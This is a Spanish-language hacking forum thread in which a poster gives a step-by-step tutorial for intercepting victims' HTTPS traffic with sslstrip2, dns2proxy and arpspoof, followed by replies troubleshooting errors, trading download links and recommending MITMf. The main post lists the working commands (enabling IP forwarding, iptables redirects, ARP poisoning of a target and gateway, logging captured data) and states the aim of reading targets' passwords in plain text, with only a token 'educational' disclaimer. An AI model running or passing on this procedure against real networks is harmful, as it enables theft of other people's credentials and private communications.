Underc0de

Había una vez, hace no mucho tiempo. Un mundo en el que la información transmitida por Internet viajaba en texto plano, Por lo cual  cualquier sniffer como cain, ettercap, etc podían Fácilmente  interceptar tu información, obtener tus contraseñas de facebook, hotmail, gmail y espiarte a diestra y siniestra.

Para mitigar este gran problema de seguridad decidieron implementar un protocolo mucho mas seguro llamado HTTPS que lo que hace es cifrar la información en SSL. En poco tiempo muchas paginas importantes como entidades bancarias, Paginas de servicios, gmail, hotmail, facebook, etc,  Migraron a este protocolo.

Por un tiempo todo funcionó a la perfección. nadie podía sniffear los datos de las paginas cifradas en HTTPS. pero eso cambió en 2009 cuando en una conferencia llamada Black Hat se presentó una herramienta bastante curiosa llamada SSLSTRIP... ¿Que hace esta Herramienta?.
Lo que hace es que reemplaza todas las peticiones HTTPS A HTTP y luego hace MITM entre el cliente y servidor, permitiendo al atacante abolir el protocolo HTTPS y hacer que los datos viajen en texto plano.

Por años se podían sniffear los datos de las paginas aun en HTTPS, por eso es que después 
se implementó un nuevo mecanismo de política de seguridad llamado HSTS que lo que hace es que informa al navegador que las conexiones siempre se deben dar bajo SSL/TLS, esta medida de seguridad fue implementada en muchas paginas web pero no solo eso, con el paso del tiempo los navegadores CHROME y FIREFOX incluyeron esta política en sus navegadores  por lo que la herramienta SSLSTRIP dejó de ser efectiva para estos navegadores, Solo seguía  funcionando en Internet explorer.

Pero hace unos meses LeonardoNve lanzó una versión modificada de SSLSTRIP a la cual llamó "SSLSTRIP2" . Esta nueva versión permite evadir las normas de seguridad HSTS y con la ayuda de otra herramienta llamada dns2proxy Permite hacer lo que hasta hoy era imposible: Sniffear conexiones en navegadores como FIREFOX y CHROME.

A continuación te muestro como llevar a cabo esta técnica no sin antes recordarte que esto es con fines Educativos.

Lo primero que necesitaras serán las 2 herramientas antes mencionadas sslstrip2 y dns2proxy
las 2 las puedes descargar directamente desde aquí:

sslstrip2
https://github.com/byt3bl33d3r/sslstrip2

dns2proxy
https://github.com/LeonardoNve/dns2proxy

una vez descomprimidas puedes escoger entre Instalar sslstrip2 o Ejecutarla directamente

Para instalarlo solo basta ejecutar el archivo setup.py de la siguiente manera:

python setup.py install

si tenías una versión anterior la remplazará.

Ahora si comencemos el Ataque:

Primero necesitamos activar el ip forward con el siguiente comando:

echo "1" > /proc/sys/net/ipv4/ip_forward

agregamos estas reglas de iptables:

iptables --flush

iptables --flush -t nat

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 9000

iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53

Iniciamos arpspoof

arpspoof -i eth0 -t IP-VICTIMA IP-GATEWAY
arpspoof -i eth0 -t GATEWAY IP-VICTIMA

Una vez hecho eso solo es cuestión de iniciar sslstrip

sslstrip -l 9000 -a -w log.txt

y por ultimo para que funcione el ataque debemos de correr dns2proxy que crea un falso servidor DNS e interactua con iptables para reenviar las conecciónes:

python dns2proxy

listo .. con esto toda la información del objetivo llegará a nosotros en texto plano.

solo queda abrir el archivo log.txt que generó sslstrip y ahí estará toda la información.

Aquí les dejo un vídeo del proceso.
saludos y Happy hacking

Buen post +Karma

Que buen aporte :D

Excelente aporte Denx0

gracias

Muy buen aporte denx0, espero seguir viéndote por el foro :)

Un saludo.

Muchas gracias, pero al ingresar el comando

iptables --flush -t -nat

me dice:

iptables v1.4.14: can't initialize iptables table `-nat': Table does not exist (do you need to insmod?)
Perhaps iptables or your kernel needs to be upgraded.

Tengo Kali completamente actualizado, saludos.

cierto .. un pequeño error de redacción  :P: antes de nat no lleva "-"

quedaría así: iptables --flush -t nat

Hola Amigos... probe la primer version de sslstrip y funciona solo c explorer...
estuve probando el 2  pero no me funciona.. puede ser q ya no funcione actualmente?

   espero su respuesta!

.

Hola DENX0, de casualidad tendras el .zip del sslstrip2, sinceramente no logro encontrarlo. saludos y buen trabajo :)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola DENX0, de casualidad tendras el .zip del sslstrip2, sinceramente no logro encontrarlo. saludos y buen trabajo :)

Jaja decime que es joda xD... Acá lo tenés (https://github.com/LeonardoNve/sslstrip2/archive/master.zip).

La próxima podrías buscarlo un poco mejor. Lo digo por esto:



Espero que te sirva.

Saludos!
WhiZ

.

Estimado WHIZ, si te das de cuenta el autor borro la herramienta y el link que publicaste no descarga nada respecto a la herramienta, la he buscado antes de que me dijeras, por tal motivo   publique. xD sin embargo Gracias por responder, Saludos

Dejo link con la tool https://github.com/singe/sslstrip2 (https://github.com/singe/sslstrip2)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Estimado WHIZ, si te das de cuenta el autor borro la herramienta y el link que publicaste no descarga nada respecto a la herramienta, la he buscado antes de que me dijeras, por tal motivo   publique. xD sin embargo Gracias por responder, Saludos

Dejo link con la tool https://github.com/singe/sslstrip2 (https://github.com/singe/sslstrip2)

Jaja mil disculpas por mi respuesta estúpida y arrogante. No suelo responder así. Ahora estoy pagando por mi mala conducta.

Saludos y gracias por la enseñanza! xD
WhiZ

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Estimado WHIZ, si te das de cuenta el autor borro la herramienta y el link que publicaste no descarga nada respecto a la herramienta, la he buscado antes de que me dijeras, por tal motivo   publique. xD sin embargo Gracias por responder, Saludos

Dejo link con la tool https://github.com/singe/sslstrip2 (https://github.com/singe/sslstrip2)

Jaja mil disculpas por mi respuesta estúpida y arrogante. No suelo responder así. Ahora estoy pagando por mi mala conducta.

Saludos y gracias por la enseñanza! xD
WhiZ

Cita de: IJ0]SEE link=topic=23937.msg86582#msg86582 date=1429729549]
Pasa link para descargar que este tio lo ha retirado

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola DENX0, de casualidad tendras el .zip del sslstrip2, sinceramente no logro encontrarlo. saludos y buen trabajo :)

Aquí lo teneis: https://github.com/LeonardoNve/sslstrip2/tree/892b014bd1b62e01f5ea0924839d08a931a6a2b1

Un saludo.

Hola, algun link donde pueda bajar dns2proxy?

Gracias!

@Sebacordera (https://underc0de.org/foro/index.php?action=profile;u=45739), fijate si te sirve:

https://github.com/LeonardoNve/dns2proxy

Saludos!
ANTRAX

El problema es que ese link esta vacio, no esta más el dns2proxy para bajarlo!
Dice: NO MORE OPEN DISCLOSURE... tuvo que borrar el repositorio.
Algun otro lugar de donde poder bajarlo??

Gracias!

@Sebacordera (https://underc0de.org/foro/index.php?action=profile;u=45739), fijate desde acá entonces:

https://github.com/moxie0/sslstrip

Saludos!
ANTRAX

¿Las herramientas que mencionas solo funcionan bajo Linux o alguna de sus distribuciones?¿Este tipo de ataques están dirigidos hacia una máquina , en qué parte de los comandos se establece dicha máquina , es decir su IP o algún otro rasgo diferenciador?

Un saludo :)

Gracias por la info.

Un saludo.

EDITO : Aparentemente todo ok, lo que veo que el log se llena tal que al hacerle un cat al fichero la consola se queda cuajada. Y otra cosa, no se llena el log inmediatamente, aveces se queda parado, a 0 bytes. Y a veces me muestra estos errores el log:

2015-05-20 23:59:03,160 Host resolution error: [Failure instance: Traceback: <type 'exceptions.TypeError'>: URLgetRealHost() takes exactly 1 argument (2 given)
/usr/lib/python2.7/dist-packages/twisted/internet/defer.py:551:_runCallbacks
/usr/lib/python2.7/dist-packages/twisted/internet/base.py:250:_checkTimeout
/usr/lib/python2.7/dist-packages/twisted/internet/defer.py:368:callback
/usr/lib/python2.7/dist-packages/twisted/internet/defer.py:464:_startRunCallbacks
--- <exception caught here> ---
/usr/lib/python2.7/dist-packages/twisted/internet/defer.py:551:_runCallbacks
/usr/local/lib/python2.7/dist-packages/sslstrip/ClientRequest.py:88:handleHostResolvedSuccess

¿Que puede pasar?


Un saludo.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
@Sebacordera (https://underc0de.org/foro/index.php?action=profile;u=45739), fijate desde acá entonces:

https://github.com/moxie0/sslstrip

Saludos!
ANTRAX

Gracias Antrax por tus respuestas pero estos links no tienen el dns2proxy para bajarlo, alguno que lo tenga y lo suba para que podamos bajarlo?
El sslstrip2 ya lo tengo, solo me falta el dns2proxy!

Gracias!

@Sebacordera (https://underc0de.org/foro/index.php?action=profile;u=45739),

Fijate este otro: https://github.com/singe/dns2proxy

Saludos!
ANTRAX

aun sigue up sslstrip2..
les recomiendo esta herramienta que hace el ataque mas estable
se llama MITMF


desde kali solo ponen apt-get install mitmf

saludos

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
aun sigue up sslstrip2..
les recomiendo esta herramienta que hace el ataque mas estable
se llama MITMF

desde kali solo ponen apt-get install mitmf

saludos

Genial!

Acá dejo la descarga desde github del proyecto: https://github.com/byt3bl33d3r/MITMf

Saludos!
ANTRAX

.

Bueno pues probé mitmf.

Con IE se ve todo, con Chrome solo se ve HOTMAIL.COM ¿será casualidad?  ;D, Con Firefox no se ve nada.

Saquen sus conclusiones.

Alguien puede resubir el sslstrip2 y el dsn2proxy? los han borrado de github

.

usa mitmf mejor, viene en Kali.

Un saludo.

cuando compruebo el puerto 53 con:             nmap -sU -p 53 $host

me aparecen como cerrados en casi todos mis equipos

tendría que abrirlo para realizar el ataque con sslstrip2 dns2proxy o mitmf? o buscar algún otro puerto?

iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53

saludos,

Cuando uso dns2proxy (del enlace facilitado por el compañero más arriba) me aparece el error:
File "dns2proxy.py", line 21, in <module>
     import dns.message
ImportError: No module named dns.message

¿Qué tengo que hacer?

Gracias

Hace tiempo que pregunté pero no recibí respuesta y sigo pillado en esto... ¿Alguien tiene solucion?

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
File "dns2proxy.py", line 21, in <module>
     import dns.message
ImportError: No module named dns.message

dns.message es un submódulo del paquete dnspython (un DNS toolkit, http://www.dnspython.org/). Debes instalar esta dependencia para poder continuar. Por ejemplo, en debian este paquete lo encuentras como python-dnspython.


Saludos

alguien me puede confirmar si el método ya no funciona , llevo una semana intentando pero nada no me captura nada el log.txt , aparecen conexiones fallidas solamente pero no captura nada , ya no funciona o  habre hecho algo mal?

Yo lo probé hace unos meses y diría que ya no funciona...

que tal chicos  ;) !
realize la prueba y no mu funcino  :-\ , a la hora de abrir el .txt esta vacio
y una duda , al terminar el ataque hay que regresar alguna configuracion a la normalidad ?
lo digo en cuanto al ip forward hay que desactivarlo no ? o en cuanto a iptables ? :)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
que tal chicos  ;) !
realize la prueba y no mu funcino  :-\ , a la hora de abrir el .txt esta vacio
y una duda , al terminar el ataque hay que regresar alguna configuracion a la normalidad ?
lo digo en cuanto al ip forward hay que desactivarlo no ? o en cuanto a iptables ? :)

esto perdido,no se donde estoy,solo veo un riachulo, dos patos y una noria ¿sabrias decirme donde estoy? verdad que no...
pero a que si te mando una foto del paisaje quizas sepas donde puedo estar.
Haz tu lo mismo quizas te podamos ayudar :P
Puedes mandamer un mensaje si lo deseas :)
Un saludo

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
que tal chicos  ;) !
realize la prueba y no mu funcino  :-\ , a la hora de abrir el .txt esta vacio
y una duda , al terminar el ataque hay que regresar alguna configuracion a la normalidad ?
lo digo en cuanto al ip forward hay que desactivarlo no ? o en cuanto a iptables ? :)

esto perdido,no se donde estoy,solo veo un riachulo, dos patos y una noria ¿sabrias decirme donde estoy? verdad que no...
pero a que si te mando una foto del paisaje quizas sepas donde puedo estar.
Haz tu lo mismo quizas te podamos ayudar :P
Puedes mandamer un mensaje si lo deseas :)
Un saludo

Gracias !  :) al final pude resolver mis dudas
Por otro lado vi algunos comentarios que no les funcionaba el ataque , y efectivamente el ataque de la forma que se plantea en este post me parece ya no es efectivo , sin embargo con mitmf funciona a la perfeccion  ;) !

Buen aporte, me pondré a testear ésta herramienta.